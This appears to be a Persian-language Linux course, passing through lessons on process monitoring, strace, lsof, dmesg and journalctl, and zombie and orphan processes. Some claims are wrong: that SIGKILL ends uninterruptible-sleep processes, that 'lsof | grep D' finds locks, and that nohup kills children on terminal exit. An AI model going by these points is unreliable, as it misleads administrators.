sudo apt-get install htop

در سیستم‌های مبتنی بر ردهت و فدورا:

sudo yum install htop

پس از نصب، برای اجرای htop دستور زیر را وارد کنید:

htop

با این دستور، نمایی گرافیکی از CPU، حافظه و swap برای هر هسته پردازنده به‌صورت خطی نمایش داده می‌شود. همچنین می‌توانید فرآیندها را به‌راحتی با استفاده از کلیدهای جهت‌دار انتخاب کرده و با استفاده از گزینه‌های موجود، آن‌ها را مدیریت کنید.

برای مرتب‌سازی فرآیندها در htop، می‌توانید از کلیدهای F6 (برای انتخاب فیلد مرتب‌سازی) استفاده کنید و سپس براساس گزینه‌های مختلف مانند PID، CPU، MEM و غیره مرتب‌سازی انجام دهید.

برای جستجو و فیلتر کردن فرآیندها در htop، می‌توانید از کلید F3 استفاده کنید.

برای خروج از برنامه، کلید F10 را فشار دهید.


جمع‌بندی

در این بخش، سه ابزار ps، top و htop برای بررسی و مدیریت فرآیندهای سیستم معرفی شدند. هرکدام از این ابزارها ویژگی‌ها و کاربردهای خاص خود را دارند:

  • ps برای مشاهده فرآیندها و جزئیات آن‌ها در یک لحظه.
  • top برای مشاهده وضعیت لحظه‌ای و پویا فرآیندها و مصرف منابع سیستم.
  • htop برای نمایش گرافیکی و تعامل بیشتر با فرآیندها و منابع سیستم.

این ابزارها در کنار هم به شما این امکان را می‌دهند که به‌طور دقیق و مؤثر، وضعیت سیستم و فرآیندهای در حال اجرا را بررسی و مدیریت کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”شبیه‌سازی وضعیت یک فرآیند و تحلیل آن” subtitle=”توضیحات کامل”]شبیه‌سازی وضعیت یک فرآیند و تحلیل آن از جمله روش‌های موثر برای درک بهتر عملکرد یک فرآیند در سیستم‌عامل لینوکس است. این فرایند به شما کمک می‌کند تا بتوانید وضعیت منابع مصرفی (مانند CPU، حافظه، و I/O) یک فرآیند خاص را در زمان‌های مختلف بررسی کنید و همچنین رفتار آن را در شرایط مختلف شبیه‌سازی نمایید. برای این منظور، ابزارها و تکنیک‌های مختلفی در لینوکس وجود دارند که به کمک آن‌ها می‌توان به تحلیل دقیق‌تر پرداخته و مشکلات احتمالی را شناسایی کرد.

در این بخش، به بررسی و آموزش نحوه شبیه‌سازی وضعیت یک فرآیند پرداخته و ابزارهای مختلفی را برای تحلیل و بررسی فرآیندها معرفی می‌کنیم.


۱. شبیه‌سازی و تحلیل با استفاده از ابزار strace

ابزار strace یکی از ابزارهای مفید در لینوکس است که برای ردیابی سیستم‌کال‌ها و سیگنال‌های یک فرآیند استفاده می‌شود. با استفاده از strace می‌توانیم مشاهده کنیم که یک فرآیند خاص چه عملیات‌هایی انجام می‌دهد، به کدام منابع دسترسی پیدا می‌کند و وضعیت آن در زمان اجرا چگونه است.

نحوه استفاده از strace:

برای مشاهده وضعیت یک فرآیند در حال اجرا با استفاده از strace، می‌توانید دستور زیر را وارد کنید:

strace -p <PID>

در اینجا <PID> شناسه فرآیند است که می‌خواهید وضعیت آن را تحلیل کنید. این دستور به شما سیستمی که فرآیند در حال استفاده از آن است، مانند سیستم‌کال‌ها و سیگنال‌ها، را نمایش می‌دهد.

برای ذخیره خروجی به یک فایل و تحلیل بهتر، می‌توانید از دستور زیر استفاده کنید:

strace -p <PID> -o output.txt

این خروجی در فایل output.txt ذخیره خواهد شد.

اگر بخواهید عملیات خاصی را پیگیری کنید، می‌توانید از گزینه -e برای محدود کردن سیستمی که می‌خواهید ردیابی کنید استفاده کنید. به عنوان مثال، برای پیگیری تنها open() و read():

strace -e trace=open,read -p <PID>

۲. شبیه‌سازی با استفاده از lsof

ابزار lsof (List Open Files) برای مشاهده فایل‌های باز و منابعی که یک فرآیند در حال استفاده از آن‌ها است، به‌کار می‌رود. این ابزار می‌تواند به شما کمک کند که ببینید یک فرآیند به کدام فایل‌ها، پورت‌ها، یا دیگر منابع دسترسی پیدا کرده است.

نحوه استفاده از lsof:

برای مشاهده فایل‌های باز توسط یک فرآیند خاص، از دستور زیر استفاده کنید:

lsof -p <PID>

این دستور لیستی از فایل‌ها و منابعی که توسط فرآیند با PID مشخص باز شده‌اند را نشان می‌دهد.

برای مشاهده تمام فایل‌های باز در سیستم، از دستور زیر استفاده کنید:

lsof

در صورتی که نیاز به جستجو در میان فایل‌های باز دارید، می‌توانید از گزینه‌های فیلتر مختلف استفاده کنید. به عنوان مثال، برای جستجو در فایل‌های باز یک دایرکتوری خاص، از دستور زیر استفاده کنید:

lsof +D /path/to/directory

۳. شبیه‌سازی وضعیت منابع با time

ابزار time در لینوکس برای اندازه‌گیری زمان مصرفی یک فرآیند به‌کار می‌رود. با استفاده از این ابزار می‌توان زمان مصرف شده توسط یک فرآیند، به‌ویژه زمان CPU و زمان واقعی، را مشاهده کرد. این اطلاعات به شما کمک می‌کند تا عملکرد یک فرآیند را در مقایسه با دیگر فرآیندها تحلیل کنید.

نحوه استفاده از time:

برای استفاده از time، کافی است دستور زیر را قبل از اجرای هر فرآیند وارد کنید:

time <command>

برای مثال، برای اجرای دستور ls و مشاهده زمان مصرفی آن:

time ls

خروجی به‌طور معمول شامل زمان واقعی، زمان CPU مصرفی در حالت‌های user و system است.


۴. استفاده از iotop برای بررسی I/O فرآیندها

ابزار iotop برای مانیتورینگ عملیات ورودی/خروجی (I/O) فرآیندها در سیستم استفاده می‌شود. این ابزار به شما کمک می‌کند که بفهمید کدام فرآیندها بیشترین استفاده از دیسک را دارند.

نحوه استفاده از iotop:

برای نصب iotop در سیستم‌های مبتنی بر دبیان یا اوبونتو:

sudo apt-get install iotop

برای نصب در سیستم‌های مبتنی بر ردهت یا فدورا:

sudo yum install iotop

پس از نصب، برای مشاهده مصرف I/O به‌صورت لحظه‌ای، دستور زیر را وارد کنید:

sudo iotop

برای مرتب کردن فرآیندها براساس مصرف I/O، می‌توانید از گزینه‌های موجود در iotop استفاده کنید.


۵. استفاده از perf برای تحلیل کارایی

ابزار perf یک ابزار قدرتمند برای اندازه‌گیری عملکرد سیستم و شبیه‌سازی وضعیت فرآیندها است. این ابزار می‌تواند برای اندازه‌گیری استفاده از CPU، حافظه، و عملکرد سیستم به‌طور کلی مورد استفاده قرار گیرد.

نحوه استفاده از perf:

برای شروع استفاده از perf و ثبت عملکرد یک دستور خاص، از دستور زیر استفاده کنید:

perf stat <command>

برای مثال:

perf stat ls

این دستور آمار مختلفی از جمله تعداد دستوراتی که در CPU اجرا شده‌اند، میزان استفاده از حافظه و غیره را ارائه می‌دهد.


جمع‌بندی

شبیه‌سازی وضعیت فرآیندها و تحلیل آن‌ها در لینوکس به کمک ابزارهایی مانند strace، lsof، time، iotop و perf می‌تواند اطلاعات ارزشمندی از رفتار سیستم و مصرف منابع فراهم کند. این ابزارها به شما این امکان را می‌دهند که فرآیندهای سیستم را به‌طور دقیق پیگیری کرده و از عملکرد آن‌ها آگاه شوید. با این اطلاعات، می‌توانید مشکلات سیستم را شناسایی کرده و عملکرد آن را بهینه کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”شناسایی و مدیریت فرآیندهای قفل‌شده” subtitle=”توضیحات کامل”]فرآیندهای قفل‌شده (Deadlocked Processes) یکی از مشکلات رایج در سیستم‌عامل‌ها هستند که در آن‌ها دو یا چند فرآیند به‌طور متقابل منتظر یکدیگر هستند و هیچ‌کدام نمی‌توانند به پیشرفت ادامه دهند. این مشکل ممکن است باعث کاهش کارایی سیستم و مصرف بی‌رویه منابع شود. در این بخش، به شناسایی و مدیریت فرآیندهای قفل‌شده در لینوکس پرداخته و ابزارها و تکنیک‌هایی که برای شبیه‌سازی، شناسایی و مدیریت این نوع فرآیندها استفاده می‌شود را بررسی می‌کنیم.


۱. شناسایی فرآیندهای قفل‌شده

برای شناسایی فرآیندهای قفل‌شده در سیستم، چندین ابزار مختلف در لینوکس وجود دارد که می‌توانند اطلاعات کاملی از وضعیت فرآیندها و قفل‌ها فراهم کنند.

۱.۱. استفاده از دستور ps

دستور ps یکی از ابتدایی‌ترین ابزارهای شناسایی وضعیت فرآیندها است. با استفاده از گزینه‌های مختلف می‌توانیم فرآیندهای قفل‌شده را شناسایی کنیم.

برای مشاهده تمامی فرآیندهای در حال انتظار، می‌توانید از دستور زیر استفاده کنید:

ps aux | grep 'D'

در این دستور:

  • D نشان‌دهنده وضعیت “قفل‌شده” یا “uninterruptible sleep” است. این وضعیت به این معناست که فرآیند در حال انتظار برای منابع سخت‌افزاری مانند دیسک یا شبکه است و نمی‌تواند سیگنال‌ها را دریافت کند.
۱.۲. استفاده از دستور top

ابزار top یکی از ابزارهای قدرتمند برای مشاهده وضعیت لحظه‌ای سیستم است. این ابزار می‌تواند به شما کمک کند تا فرآیندهای قفل‌شده را شناسایی کنید.

برای مشاهده تمامی فرآیندهایی که در وضعیت قفل‌شده هستند، می‌توانید از دستور top استفاده کنید و به‌دنبال وضعیت D بگردید:

top

در قسمت نمایش اطلاعات فرآیندها، وضعیت هر فرآیند در ستون S (Status) نمایش داده می‌شود. اگر فرآیند در وضعیت قفل‌شده باشد، حرف D در این ستون نشان داده می‌شود.

۱.۳. استفاده از lsof

ابزار lsof برای شناسایی فایل‌های باز و منابعی که فرآیندها در حال استفاده از آن‌ها هستند، استفاده می‌شود. در مواقعی که فرآیندها قفل شده‌اند، این ابزار می‌تواند نشان دهد که فرآیندها در انتظار چه منابعی هستند.

برای مشاهده فایل‌هایی که در حال قفل شدن هستند، از دستور زیر استفاده کنید:

lsof | grep 'D'

این دستور به شما کمک می‌کند تا فرآیندهایی که در حال قفل شدن بر روی منابع خاص هستند را شناسایی کنید.


۲. رفع قفل‌ها و مدیریت فرآیندهای قفل‌شده

پس از شناسایی فرآیندهای قفل‌شده، باید اقداماتی برای رفع این قفل‌ها انجام داد. این اقدامات می‌توانند شامل تحلیل علت قفل، استفاده از دستورات خاص برای رفع قفل، یا انجام تغییرات در پیکربندی سیستم برای جلوگیری از قفل‌های مشابه در آینده باشند.

۲.۱. استفاده از دستور kill برای پایان دادن به فرآیند قفل‌شده

در صورتی که فرآیند قفل‌شده به هیچ‌وجه واکنش نشان نمی‌دهد، می‌توانید از دستور kill برای ارسال سیگنال به آن فرآیند و پایان دادن به آن استفاده کنید. برای ارسال سیگنال SIGKILL به یک فرآیند، از دستور زیر استفاده کنید:

kill -9 <PID>

در این دستور:

  • <PID> شناسه فرآیند (Process ID) است که می‌خواهید آن را متوقف کنید.

سیگنال SIGKILL به‌طور قطعی فرآیند را متوقف می‌کند، حتی اگر فرآیند در حال قفل شدن یا در وضعیت uninterruptible sleep باشد.

۲.۲. استفاده از دستور fuser

دستور fuser برای شناسایی و پایان دادن به فرآیندهایی که در حال استفاده از فایل‌های خاص هستند، استفاده می‌شود. در صورتی که فرآیندهای قفل‌شده به دلیل قفل بودن فایل‌ها باشند، می‌توان از این دستور برای شناسایی و قطع ارتباط با فرآیند استفاده کرد.

برای مشاهده فرآیندهایی که از یک فایل خاص استفاده می‌کنند، از دستور زیر استفاده کنید:

fuser -v /path/to/file

برای پایان دادن به فرآیندهای مرتبط با یک فایل خاص، از دستور زیر استفاده کنید:

fuser -k /path/to/file
۲.۳. استفاده از strace برای بررسی رفتار فرآیند قفل‌شده

اگر می‌خواهید دقیقاً بفهمید که چرا یک فرآیند قفل‌شده است، می‌توانید از ابزار strace برای ردیابی سیستم‌کال‌های آن فرآیند استفاده کنید. دستور زیر می‌تواند به شما کمک کند تا دلیل قفل شدن فرآیند را پیدا کنید:

strace -p <PID>

این دستور سیستم‌کال‌های یک فرآیند را نمایش می‌دهد و می‌تواند به شما کمک کند تا متوجه شوید که فرآیند در حال انتظار برای کدام منابع است.


۳. پیشگیری از فرآیندهای قفل‌شده در آینده

برای جلوگیری از بروز مشکلات قفل‌شدگی در آینده، می‌توانید برخی اقدامات پیشگیرانه انجام دهید که به بهبود عملکرد سیستم کمک می‌کنند:

۳.۱. بهینه‌سازی منابع I/O

اگر فرآیندهای شما به دلیل قفل‌شدگی در منابع I/O دچار مشکل شده‌اند، می‌توانید تنظیمات سیستم خود را برای بهینه‌سازی دسترسی به دیسک و شبکه تغییر دهید. برای مثال، استفاده از LVM (Logical Volume Manager) برای بهبود کارایی دسترسی به دیسک و استفاده از caching برای کاهش زمان دسترسی به دیسک می‌تواند مفید باشد.

۳.۲. استفاده از تنظیمات سیستم برای مدیریت منابع

با استفاده از ابزارهایی مانند cgroups و systemd می‌توانید محدودیت‌هایی برای منابع مختلف مانند CPU، حافظه و I/O برای فرآیندها تعیین کنید تا از بروز مشکلات قفل‌شدگی جلوگیری کنید.

برای مثال، می‌توانید یک واحد systemd برای محدود کردن استفاده از منابع برای یک سرویس خاص تعریف کنید:

[Service]
CPUQuota=50%
MemoryMax=500M

این تنظیمات باعث می‌شود که سرویس از ۵۰ درصد از ظرفیت CPU و حداکثر ۵۰۰ مگابایت حافظه استفاده کند.


جمع‌بندی

شناسایی و مدیریت فرآیندهای قفل‌شده یکی از اقدامات ضروری برای حفظ کارایی و سلامت سیستم‌عامل است. با استفاده از ابزارهایی مانند ps، top، lsof و strace می‌توان فرآیندهای قفل‌شده را شناسایی و تحلیل کرد. پس از شناسایی فرآیندهای قفل‌شده، از دستوراتی مانند kill و fuser برای رفع این مشکلات استفاده می‌شود. همچنین، با استفاده از ابزارهایی مانند cgroups و بهینه‌سازی منابع می‌توان از بروز چنین مشکلاتی در آینده جلوگیری کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از ابزار strace برای بررسی سیستم کال‌ها” subtitle=”توضیحات کامل”]ابزار strace یکی از ابزارهای بسیار قدرتمند در لینوکس است که به شما امکان می‌دهد تا تمامی سیستم‌کال‌ها (system calls) و سیگنال‌هایی که یک فرآیند در هنگام اجرا استفاده می‌کند را بررسی کنید. با استفاده از strace می‌توان فهمید که یک فرآیند چه درخواست‌هایی به سیستم‌عامل می‌فرستد و در کجا ممکن است مشکلات یا اختلالاتی رخ دهد. این ابزار در تحلیل و عیب‌یابی عملکرد برنامه‌ها، تشخیص مشکلات منابع و به طور کلی در بررسی رفتار فرآیندها مفید است.


۱. نصب ابزار strace

اگر ابزار strace روی سیستم شما نصب نیست، می‌توانید آن را از طریق مدیریت بسته‌های سیستم خود نصب کنید. در سیستم‌های مبتنی بر دبیان و اوبونتو می‌توانید از دستور زیر برای نصب آن استفاده کنید:

sudo apt-get install strace

در سیستم‌های مبتنی بر رد هت و فدورا می‌توانید از دستور زیر برای نصب استفاده کنید:

sudo yum install strace

۲. استفاده از strace برای ردیابی فرآیندها

۲.۱. ردیابی یک فرآیند در حال اجرا

برای ردیابی یک فرآیند در حال اجرا با استفاده از strace، کافیست شناسه فرآیند (PID) آن را بدانید. دستور زیر به شما امکان می‌دهد تا تمامی سیستم‌کال‌ها و سیگنال‌های یک فرآیند را مشاهده کنید:

strace -p <PID>

در این دستور:

  • <PID> شناسه فرآیند است که می‌خواهید سیستم‌کال‌های آن را بررسی کنید.

این دستور خروجی مشابه زیر را تولید می‌کند:

read(3, "Hello, world!", 13)             = 13
write(1, "Hello, world!", 13)            = 13

خروجی نشان می‌دهد که سیستم‌کال read برای خواندن از فایل یا دیسک (فایل descriptor 3) و سیستم‌کال write برای نوشتن به کنسول (فایل descriptor 1) فراخوانی شده است.

۲.۲. ردیابی یک برنامه از ابتدا

اگر می‌خواهید تمامی سیستم‌کال‌های یک برنامه از ابتدا تا پایان آن را ردیابی کنید، می‌توانید strace را همراه با نام برنامه اجرا کنید:

strace <command>

برای مثال، برای ردیابی تمامی سیستم‌کال‌های مربوط به اجرای برنامه ls، دستور زیر را وارد کنید:

strace ls

خروجی این دستور شامل لیستی از سیستم‌کال‌هایی است که توسط برنامه ls فراخوانی شده‌اند.


۳. فیلتر کردن سیستم‌کال‌ها

در بسیاری از مواقع ممکن است بخواهید فقط سیستم‌کال‌های خاصی را ردیابی کنید. برای این منظور، می‌توانید از گزینه‌های فیلترینگ strace استفاده کنید.

۳.۱. ردیابی فقط سیستم‌کال‌های خاص

برای ردیابی فقط برخی از سیستم‌کال‌ها، از گزینه -e استفاده کنید. برای مثال، اگر می‌خواهید فقط سیستم‌کال‌های read و write را ردیابی کنید، دستور زیر را اجرا کنید:

strace -e trace=read,write <command>

این دستور فقط سیستم‌کال‌های read و write را ردیابی می‌کند و سایر سیستم‌کال‌ها نادیده گرفته می‌شوند.

۳.۲. ردیابی سیستم‌کال‌های مرتبط با فایل‌ها

برای ردیابی سیستم‌کال‌های مرتبط با فایل‌ها (مانند open، read، write، و close)، از دستور زیر استفاده کنید:

strace -e trace=file <command>

این دستور فقط سیستم‌کال‌های مرتبط با عملیات فایل را نشان می‌دهد.

۳.۳. ردیابی فقط زمان‌بندی‌ها و سیگنال‌ها

برای ردیابی زمان‌بندی‌ها و سیگنال‌ها، می‌توانید از گزینه -e trace=signal استفاده کنید:

strace -e trace=signal <command>

این دستور سیستم‌کال‌های مربوط به سیگنال‌ها را نمایش می‌دهد.


۴. ذخیره‌سازی خروجی strace در فایل

گاهی اوقات ممکن است بخواهید خروجی‌های strace را در فایلی ذخیره کنید تا بعداً آن‌ها را تحلیل کنید. برای این کار می‌توانید از گزینه -o برای ذخیره‌سازی خروجی استفاده کنید:

strace -o output.txt <command>

این دستور تمامی سیستم‌کال‌ها و سیگنال‌های مربوط به اجرای دستور را در فایل output.txt ذخیره می‌کند.


۵. استفاده از strace برای عیب‌یابی

strace می‌تواند برای شناسایی مشکلات عملکردی و خطاهای مختلف در یک برنامه یا فرآیند مفید باشد. برخی از رایج‌ترین کاربردهای آن عبارتند از:

۵.۱. شناسایی مشکلات مربوط به فایل‌ها

اگر برنامه‌ای قادر به باز کردن یک فایل خاص نیست یا در هنگام دسترسی به آن دچار خطا می‌شود، با استفاده از strace می‌توان دید که آیا سیستم‌کال open با خطا مواجه شده است یا خیر.

برای مثال، اگر برنامه‌ای در دسترسی به فایلی خاص مشکل دارد، با اجرای strace می‌توان مشاهده کرد که آیا فایل باز نشده است و در صورت بروز خطا، پیام خطا (مانند ENOENT برای عدم وجود فایل) را مشاهده کرد.

۵.۲. شناسایی مشکلات شبکه

اگر یک برنامه به مشکل شبکه برخورد کرده است، می‌توان با ردیابی سیستم‌کال‌های مربوط به شبکه (مانند connect، recv، send و غیره) دلیل مشکل را شناسایی کرد.

برای مثال، برای ردیابی مشکلات مربوط به اتصال شبکه، دستور زیر را اجرا کنید:

strace -e trace=network <command>
۵.۳. شناسایی مشکلات حافظه

strace می‌تواند برای ردیابی سیستم‌کال‌های مرتبط با حافظه مانند mmap (برای نقشه‌برداری حافظه) و brk (برای تخصیص حافظه) مفید باشد. این اطلاعات می‌تواند در عیب‌یابی مشکلات مربوط به تخصیص حافظه و نشت‌های حافظه کمک کند.


جمع‌بندی

ابزار strace یکی از ابزارهای بسیار مفید برای بررسی و تحلیل رفتار فرآیندها و شناسایی مشکلات در سیستم‌کال‌ها است. با استفاده از این ابزار، می‌توان به‌صورت دقیق سیستم‌کال‌ها و سیگنال‌هایی که یک فرآیند استفاده می‌کند را ردیابی کرده و مشکلات مختلفی مانند مشکلات فایل، شبکه، و حافظه را شناسایی کرد. همچنین، strace ابزاری قدرتمند برای عیب‌یابی و تحلیل دقیق عملکرد برنامه‌ها به‌شمار می‌رود.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”بررسی و تحلیل فایل‌های dmesg و journalctl برای خطاهای سیستم” subtitle=”توضیحات کامل”]در لینوکس، برای شناسایی مشکلات و خطاهای سیستم، ابزارهایی مانند dmesg و journalctl وجود دارند که اطلاعات بسیار مفیدی از وضعیت سیستم و خطاها فراهم می‌کنند. این ابزارها برای بررسی لاگ‌های سیستم، به‌ویژه برای عیب‌یابی و تحلیل عملکرد سخت‌افزار، کرنل، و فرآیندها به‌کار می‌روند.

در این بخش، به نحوه استفاده از این ابزارها و نحوه تحلیل خطاهای سیستم خواهیم پرداخت.


۱. ابزار dmesg

ابزار dmesg برای مشاهده پیام‌های کرنل (Kernel messages) استفاده می‌شود. این پیام‌ها معمولاً شامل اطلاعات مربوط به بوت سیستم، وضعیت سخت‌افزار، و پیغام‌های خطای کرنل هستند. این ابزار در شناسایی مشکلات سطح پایین‌تر (مانند مشکلات سخت‌افزاری) مفید است.

۱.۱. مشاهده پیام‌های کرنل

برای مشاهده پیام‌های کرنل در سیستم، کافی است دستور dmesg را اجرا کنید:

dmesg

این دستور تمامی پیام‌های کرنل را از زمان بوت تا کنون نمایش می‌دهد. خروجی این دستور می‌تواند شامل اطلاعاتی مانند شناسایی دستگاه‌ها، وضعیت درایورها، و پیغام‌های خطای کرنل باشد.

۱.۲. فیلتر کردن پیام‌ها

اگر به دنبال خطاها یا هشدارها در پیغام‌های کرنل هستید، می‌توانید از ابزارهای فیلتر مانند grep برای جستجوی کلمات خاص (مانند “error” یا “fail”) استفاده کنید:

dmesg | grep -i error

این دستور فقط پیغام‌هایی که شامل عبارت “error” هستند را نمایش می‌دهد.

۱.۳. ذخیره خروجی dmesg در یک فایل

برای ذخیره خروجی دستور dmesg در یک فایل متنی جهت تحلیل‌های بیشتر، از دستور زیر استفاده کنید:

dmesg > /path/to/output.txt

این دستور پیام‌های کرنل را در فایل output.txt ذخیره می‌کند که می‌توانید آن را بعداً بررسی کنید.

۱.۴. پاکسازی پیام‌های dmesg

برای پاکسازی یا ریست کردن پیام‌های dmesg، می‌توانید از دستور زیر استفاده کنید:

sudo dmesg -C

این دستور تمامی پیام‌های موجود در بافر کرنل را پاک می‌کند.


۲. ابزار journalctl

ابزار journalctl بخشی از سیستم لاگ‌برداری systemd است که به شما امکان می‌دهد لاگ‌های مختلف سیستم از جمله کرنل، سرویس‌ها، و سیستم‌عامل را مشاهده کنید. این ابزار برای تحلیل عمیق‌تر مشکلات و شناسایی خطاها از جمله خطاهای سیستمی و سرور مفید است.

۲.۱. مشاهده لاگ‌ها با journalctl

برای مشاهده تمامی لاگ‌ها در سیستم، از دستور زیر استفاده کنید:

journalctl

این دستور تمامی لاگ‌ها از زمان بوت تا کنون را نمایش می‌دهد. برای محدود کردن نمایش لاگ‌ها به زمان‌های خاص، می‌توانید از فیلترهای مختلف استفاده کنید.

۲.۲. مشاهده لاگ‌های کرنل

برای مشاهده پیام‌های کرنل، از گزینه -k استفاده کنید:

journalctl -k

این دستور فقط پیام‌های کرنل را نمایش می‌دهد. این پیام‌ها معمولاً شامل اطلاعات مربوط به بوت، شناسایی سخت‌افزار، و وضعیت سیستم‌عامل هستند.

۲.۳. فیلتر کردن بر اساس سطح اولویت

در journalctl می‌توانید لاگ‌ها را بر اساس اولویت (level) فیلتر کنید. برای مثال، برای مشاهده فقط خطاها (بر اساس اولویت “err”)، از دستور زیر استفاده کنید:

journalctl -p err

این دستور تنها پیام‌هایی که با اولویت “error” هستند را نشان می‌دهد. اولویت‌ها می‌توانند شامل emerg (اورژانسی)، alert، crit (بحرانی)، err (خطا)، warning (هشدار)، notice، info و debug باشند.

۲.۴. مشاهده لاگ‌های مربوط به یک سرویس خاص

برای مشاهده لاگ‌های یک سرویس خاص، از گزینه -u به همراه نام سرویس استفاده کنید. برای مثال، برای مشاهده لاگ‌های مربوط به سرویس ssh, دستور زیر را اجرا کنید:

journalctl -u ssh

این دستور فقط لاگ‌های مربوط به سرویس ssh را نمایش می‌دهد.

۲.۵. مشاهده لاگ‌ها از یک زمان خاص

برای فیلتر کردن لاگ‌ها بر اساس زمان، می‌توانید از گزینه‌های --since و --until استفاده کنید. به عنوان مثال، برای مشاهده لاگ‌ها از تاریخ خاص، دستور زیر را اجرا کنید:

journalctl --since "2025-03-01 00:00:00" --until "2025-03-01 23:59:59"

این دستور لاگ‌ها را از تاریخ 1 مارس 2025 تا 1 مارس 2025 نمایش می‌دهد.

۲.۶. پیوستن به لاگ‌های جاری

اگر می‌خواهید به‌طور پیوسته لاگ‌ها را مشاهده کنید (مانند tail -f برای لاگ‌ها)، از دستور زیر استفاده کنید:

journalctl -f

این دستور جدیدترین لاگ‌ها را به‌طور مداوم نمایش می‌دهد.

۲.۷. ذخیره خروجی journalctl در یک فایل

برای ذخیره لاگ‌های journalctl در یک فایل متنی، از دستور زیر استفاده کنید:

journalctl > /path/to/output.log

این دستور تمامی لاگ‌ها را در فایل output.log ذخیره می‌کند.


جمع‌بندی

ابزارهای dmesg و journalctl ابزارهای مهمی برای تجزیه و تحلیل خطاها و مشکلات سیستم در لینوکس هستند. ابزار dmesg به‌ویژه برای مشاهده پیام‌های کرنل و مشکلات سخت‌افزاری مفید است، در حالی‌که journalctl قابلیت‌های پیچیده‌تری برای بررسی لاگ‌های سیستم، سرویس‌ها، و کرنل در اختیار شما قرار می‌دهد. استفاده از این ابزارها می‌تواند به‌شما کمک کند تا مشکلات را شناسایی و اصلاح کنید و سیستم را بهینه‌سازی نمایید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مدیریت فرآیندهای Zombie و Orphan” subtitle=”توضیحات کامل”]در سیستم‌های مبتنی بر لینوکس و یونیکس، فرآیندها نقش اساسی در اجرای برنامه‌ها دارند. اما در برخی موارد، فرآیندهایی ایجاد می‌شوند که به درستی مدیریت نمی‌شوند و در وضعیت‌های خاصی مانند Zombie و Orphan قرار می‌گیرند. این فرآیندها می‌توانند مشکلاتی مانند مصرف بیهوده منابع، کاهش عملکرد سیستم، و حتی خرابی سرویس‌ها را ایجاد کنند. در این بخش، به بررسی فرآیندهای Zombie و Orphan، نحوه شناسایی آن‌ها و روش‌های مدیریت و از بین بردنشان می‌پردازیم.


۱. فرآیند Zombie چیست؟

یک فرآیند Zombie (زامبی) فرآیندی است که اجرای آن به پایان رسیده اما همچنان در جدول فرآیندهای سیستم باقی مانده است. این فرآیندها فضای حافظه یا CPU را اشغال نمی‌کنند، اما تعداد زیاد آن‌ها می‌تواند باعث اشغال شدن شماره‌های PID و بروز مشکلاتی در سیستم شود.

۱.۱. نحوه ایجاد فرآیندهای Zombie

فرآیندهای زامبی معمولاً زمانی ایجاد می‌شوند که یک فرآیند فرزند پس از اتمام اجرای خود، مقدار خروجی را به فرآیند والد بازنمی‌گرداند و والد آن را جمع‌آوری نمی‌کند. در نتیجه، این فرآیندها در وضعیت <defunct> قرار می‌گیرند.

۱.۲. شناسایی فرآیندهای Zombie

برای شناسایی فرآیندهای Zombie، می‌توانید از ابزارهای ps و top استفاده کنید:

ps aux | grep Z

یا:

ps aux | grep defunct

همچنین در ابزار top، فرآیندهای Zombie با مقدار Z در ستون STAT نمایش داده می‌شوند.

۱.۳. حذف فرآیندهای Zombie

از آنجایی که فرآیندهای Zombie به‌طور مستقیم قابل kill کردن نیستند، بهترین راه برای از بین بردن آن‌ها، کشتن فرآیند والد آن‌هاست. برای این کار ابتدا باید فرآیند والد را پیدا کنید:

ps -eo pid,ppid,stat,cmd | grep Z

در اینجا ستون PPID (Parent Process ID) شناسه فرآیند والد را نشان می‌دهد. برای حذف آن، از دستور زیر استفاده کنید:

kill -SIGTERM <PPID>

اگر فرآیند با SIGTERM از بین نرفت، می‌توانید از SIGKILL استفاده کنید:

kill -SIGKILL <PPID>
۱.۴. جلوگیری از ایجاد فرآیندهای Zombie

برای جلوگیری از ایجاد فرآیندهای Zombie، برنامه‌ها باید از wait() یا waitpid() برای دریافت وضعیت خروجی فرآیندهای فرزند خود استفاده کنند. همچنین، استفاده از سیگنال SIGCHLD باعث می‌شود که کرنل به والد اطلاع دهد که فرزندش خاتمه یافته و نیاز به جمع‌آوری دارد.

مثال تنظیم SIGCHLD در یک اسکریپت Bash:

trap 'wait' SIGCHLD

۲. فرآیند Orphan چیست؟

یک فرآیند Orphan (یتیم) فرآیندی است که والد آن از بین رفته است اما خود فرآیند هنوز در حال اجراست. در چنین شرایطی، فرآیند یتیم به‌طور خودکار به فرآیند init (PID 1) یا systemd سپرده می‌شود و همچنان اجرا خواهد شد.

۲.۱. شناسایی فرآیندهای Orphan

برای شناسایی فرآیندهای Orphan می‌توان از دستور زیر استفاده کرد:

ps -eo pid,ppid,cmd | awk '$2 == 1 {print $0}'

این دستور تمامی فرآیندهایی را که دارای PPID=1 هستند (یعنی والد آن‌ها init یا systemd شده است) نمایش می‌دهد.

۲.۲. مدیریت فرآیندهای Orphan
  • اگر فرآیندهای Orphan مشکلی برای سیستم ایجاد نمی‌کنند، نیازی به اقدامی نیست، زیرا systemd به‌عنوان والد جدید از آن‌ها مراقبت می‌کند.
  • اما اگر یک فرآیند Orphan باعث مصرف زیاد منابع شود، می‌توان آن را به‌صورت دستی متوقف کرد:
kill -SIGTERM <PID>

در صورتی که فرآیند با SIGTERM متوقف نشد، می‌توان از SIGKILL استفاده کرد:

kill -SIGKILL <PID>
۲.۳. جلوگیری از ایجاد فرآیندهای Orphan

برای جلوگیری از ایجاد فرآیندهای Orphan در اسکریپت‌ها یا برنامه‌های کاربردی، می‌توان از پایپ سیگنال SIGHUP استفاده کرد تا در صورت از بین رفتن ترمینال، فرآیندهای فرزند نیز کشته شوند. این کار با استفاده از دستور nohup انجام می‌شود:

nohup ./myscript.sh &

همچنین، می‌توان از setsid برای اجرای یک فرآیند مستقل از ترمینال استفاده کرد:

setsid ./myscript.sh &

جمع‌بندی

  • فرآیند Zombie: فرآیندی که اجرا شده و خاتمه یافته است اما هنوز در جدول فرآیندها باقی مانده زیرا والد آن خروجی را جمع نکرده است.
  • فرآیند Orphan: فرآیندی که والد آن از بین رفته و اکنون تحت مدیریت init یا systemd قرار گرفته است.
